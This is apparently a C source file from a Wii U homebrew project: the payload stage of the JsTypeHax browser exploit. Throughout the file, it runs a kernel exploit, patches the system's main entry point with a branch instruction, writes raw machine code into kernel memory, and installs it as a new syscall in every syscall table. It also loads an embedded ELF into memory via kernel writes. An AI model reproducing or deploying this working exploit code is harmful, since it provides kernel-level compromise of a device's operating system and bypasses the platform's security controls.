mirror of
https://github.com/wiiu-env/JsTypeHax_payload.git
synced 2024-11-17 21:59:14 +01:00
279 lines
11 KiB
C
279 lines
11 KiB
C
#include "os_types.h"
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#include "elf_abi.h"
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#include "gx2sploit/kexploit.h"
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#include "structs.h"
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#include "main_hook.h"
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#include "common.h"
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/* Install functions */
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static void InstallMain(private_data_t *private_data);
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static void thread_callback(int argc, void *argv);
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void doBrowserShutdown(unsigned int coreinit_handle);
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/* ****************************************************************** */
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/* ENTRY POINT */
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/* ****************************************************************** */
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void __main(void) {
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/* Get coreinit handle and keep it in memory */
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unsigned int coreinit_handle;
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OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
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/* Get our memory functions */
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unsigned int* functionPointer;
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void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes);
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void (*_Exit)(int);
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void* (*OSSleepTicks)(u64 ticks);
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OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset);
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OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
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void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
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void (*MEMFreeToDefaultHeap)(void *ptr);
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OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
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MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;
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OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
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MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
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void (*OSExitThread)(int);
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int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);
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int (*OSResumeThread)(void *thread);
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int (*OSIsThreadTerminated)(void *thread);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
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//Allocate a stack for the thread
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void *stack = MEMAllocFromDefaultHeapEx(0x4000, 0x20);
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//
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// Create the thread variable
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void *thread = MEMAllocFromDefaultHeapEx(0x1000, 8);
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if(!thread || !stack) {
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OSFatal("Thread memory allocation failed. Exit and re-enter browser.");
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}
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// Use a stable thread.
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// create a detached thread with priority 0 and use core 1
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int ret = OSCreateThread(thread, thread_callback, 0, (void*)NULL, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A);
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if (ret == 0) {
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OSFatal("Failed to create thread. Exit and re-enter browser.");
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}
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// Schedule it for execution
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OSResumeThread(thread);
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OSExitThread(0);
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}
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static void thread_callback(int argc, void *argv) {
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unsigned int coreinit_handle;
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OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
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/* Get our memory functions */
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unsigned int* functionPointer;
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void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes);
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void (*_Exit)(int);
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OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset);
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OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
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private_data_t private_data;
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p_memset(&private_data, 0, sizeof(private_data_t));
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private_data.coreinit_handle = coreinit_handle;
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private_data.memset = p_memset;
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private_data.data_elf = (unsigned char *) main_hook_main_hook_elf; // use this address as temporary to load the elf
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OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
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private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;
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OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
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private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
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OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical);
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OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange);
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OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical);
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doBrowserShutdown(private_data.coreinit_handle);
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run_kexploit(coreinit_handle);
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InstallMain(&private_data);
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Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data.data_elf;
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unsigned int mainEntryPoint = ehdr->e_entry;
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//! Install our entry point hook
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unsigned int repl_addr = ADDRESS_main_entry_hook;
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unsigned int jump_addr = mainEntryPoint & 0x03fffffc;
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unsigned int bufferU32 = 0x48000003 | jump_addr;
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KernelWriteU32(repl_addr,bufferU32,coreinit_handle);
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// Place a function to set the IBAT0 inside free kernel space.
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// Register it as syscall 0x09
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unsigned int setIBAT0Addr = 0xFFF02344;
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unsigned int curAddr = setIBAT0Addr;
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KernelWriteU32FixedAddr(curAddr, 0x7C0006AC,coreinit_handle);
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curAddr+=4;
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KernelWriteU32FixedAddr(curAddr, 0x4C00012C,coreinit_handle);
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curAddr+=4;
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KernelWriteU32FixedAddr(curAddr, 0x7C7083A6,coreinit_handle);
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curAddr+=4;
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KernelWriteU32FixedAddr(curAddr, 0x7C9183A6,coreinit_handle);
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curAddr+=4;
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KernelWriteU32FixedAddr(curAddr, 0x7C0006AC,coreinit_handle);
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curAddr+=4;
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KernelWriteU32FixedAddr(curAddr, 0x4C00012C,coreinit_handle);
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curAddr+=4;
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KernelWriteU32FixedAddr(curAddr, 0x4E800020,coreinit_handle);
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curAddr+=4;
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// Setup as syscall 0x09
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kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x09 * 4)), (uint32_t) setIBAT0Addr);
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kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x09 * 4)), (uint32_t) setIBAT0Addr);
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kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x09 * 4)), (uint32_t) setIBAT0Addr);
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kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x09 * 4)), (uint32_t) setIBAT0Addr);
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kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x09 * 4)), (uint32_t) setIBAT0Addr);
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// Exit!
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unsigned int sysapp_handle;
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void (*_SYSLaunchMiiStudio)(void) = 0;
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OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
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OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio);
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_SYSLaunchMiiStudio();
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_Exit(0);
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}
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void wait(unsigned int coreinit_handle, unsigned int t) {
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void (*OSYieldThread)(void);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
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while(t--) {
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OSYieldThread();
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}
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}
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void doBrowserShutdown(unsigned int coreinit_handle) {
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void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
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void*(*OSAllocFromSystem)(uint32_t size, int align);
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void (*OSFreeToSystem)(void *ptr);
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int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
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int(*IM_Close)(int fd);
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int(*IM_Open)();
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OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
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OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
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OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
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OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
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OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
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//Restart system to get lib access
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int fd = IM_Open();
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void *mem = OSAllocFromSystem(0x100, 64);
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memset(mem, 0, 0x100);
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//set restart flag to force quit browser
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IM_SetDeviceState(fd, mem, 3, 0, 0);
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IM_Close(fd);
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OSFreeToSystem(mem);
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//wait a bit for browser end
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wait(coreinit_handle, 0x3FFFF*0x4);
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}
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static int strcmp(const char *s1, const char *s2) {
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while(*s1 && *s2) {
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if(*s1 != *s2) {
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return -1;
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}
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s1++;
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s2++;
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}
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if(*s1 != *s2) {
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return -1;
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}
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return 0;
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}
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static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) {
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Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
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if ( !data
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|| !IS_ELF (*ehdr)
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|| (ehdr->e_type != ET_EXEC)
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|| (ehdr->e_machine != EM_PPC)) {
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OSFatal("Invalid elf file");
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}
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Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
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int i;
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for(i = 0; i < ehdr->e_shnum; i++) {
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const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
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if(strcmp(section_name, name) == 0) {
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if(addr)
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*addr = shdr[i].sh_addr;
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if(size)
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*size = shdr[i].sh_size;
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return shdr[i].sh_offset;
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}
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}
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if(fail_on_not_found)
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OSFatal((char*)name);
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return 0;
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}
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/* ****************************************************************** */
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/* INSTALL MAIN CODE */
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/* ****************************************************************** */
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static void InstallMain(private_data_t *private_data) {
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// get .text section
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unsigned int main_text_addr = 0;
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unsigned int main_text_len = 0;
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unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1);
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unsigned char *main_text = private_data->data_elf + section_offset;
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/* Copy main .text to memory */
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if(section_offset > 0) {
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KernelWrite((main_text_addr), (void *)main_text, main_text_len, private_data->coreinit_handle);
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}
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// get the .rodata section
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unsigned int main_rodata_addr = 0;
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unsigned int main_rodata_len = 0;
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section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
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if(section_offset > 0) {
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unsigned char *main_rodata = private_data->data_elf + section_offset;
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/* Copy main rodata to memory */
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KernelWrite((main_rodata_addr), (void *)main_rodata, main_rodata_len, private_data->coreinit_handle);
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}
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// get the .data section
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unsigned int main_data_addr = 0;
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unsigned int main_data_len = 0;
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section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0);
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if(section_offset > 0) {
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unsigned char *main_data = private_data->data_elf + section_offset;
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/* Copy main data to memory */
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KernelWrite((main_data_addr), (void *)main_data, main_data_len, private_data->coreinit_handle);
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}
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// get the .bss section
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unsigned int main_bss_addr = 0;
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unsigned int main_bss_len = 0;
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section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
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if(section_offset > 0) {
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unsigned char *main_bss = private_data->data_elf + section_offset;
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/* Copy main data to memory */
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KernelWrite((main_bss_addr), (void *)main_bss, main_bss_len, private_data->coreinit_handle);
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}
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}
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